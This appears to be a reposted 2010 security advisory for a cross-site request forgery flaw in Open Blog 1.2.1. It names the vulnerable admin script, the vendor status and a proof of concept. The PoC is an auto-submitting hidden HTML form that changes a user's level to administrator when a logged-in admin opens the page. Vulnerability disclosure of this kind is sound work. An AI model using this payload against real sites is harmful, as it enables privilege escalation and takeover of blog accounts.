Open Blog v1.2.1 CSRF Vulnerability
Posted on 05 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Open Blog v1.2.1 CSRF Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================== Open Blog v1.2.1 CSRF Vulnerability =================================== Vulnerability ID: HTB22496 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html Product: Open Blog Vendor: Toma?? Muraus ( http://www.open-blog.info/ ) Vulnerable Version: 1.2.1 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/users/edit" method="post" > <input type="hidden" name="display_name" value="User" /> <input type="hidden" name="level" value="administrator" /> <input type="hidden" name="email" value="email (at) example (dot) com [email concealed]" /> <input type="hidden" name="website" value="" /> <input type="hidden" name="msn_messenger" value="" /> <input type="hidden" name="jabber" value="" /> <input type="hidden" name="about_me" value="about_me" /> <input type="hidden" name="id" value="2" /> <input type="submit" name="submit" id="sbmtit" value="Edit ››" /> </form> <script> document.getElementById('sbmtit').click(); </script> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>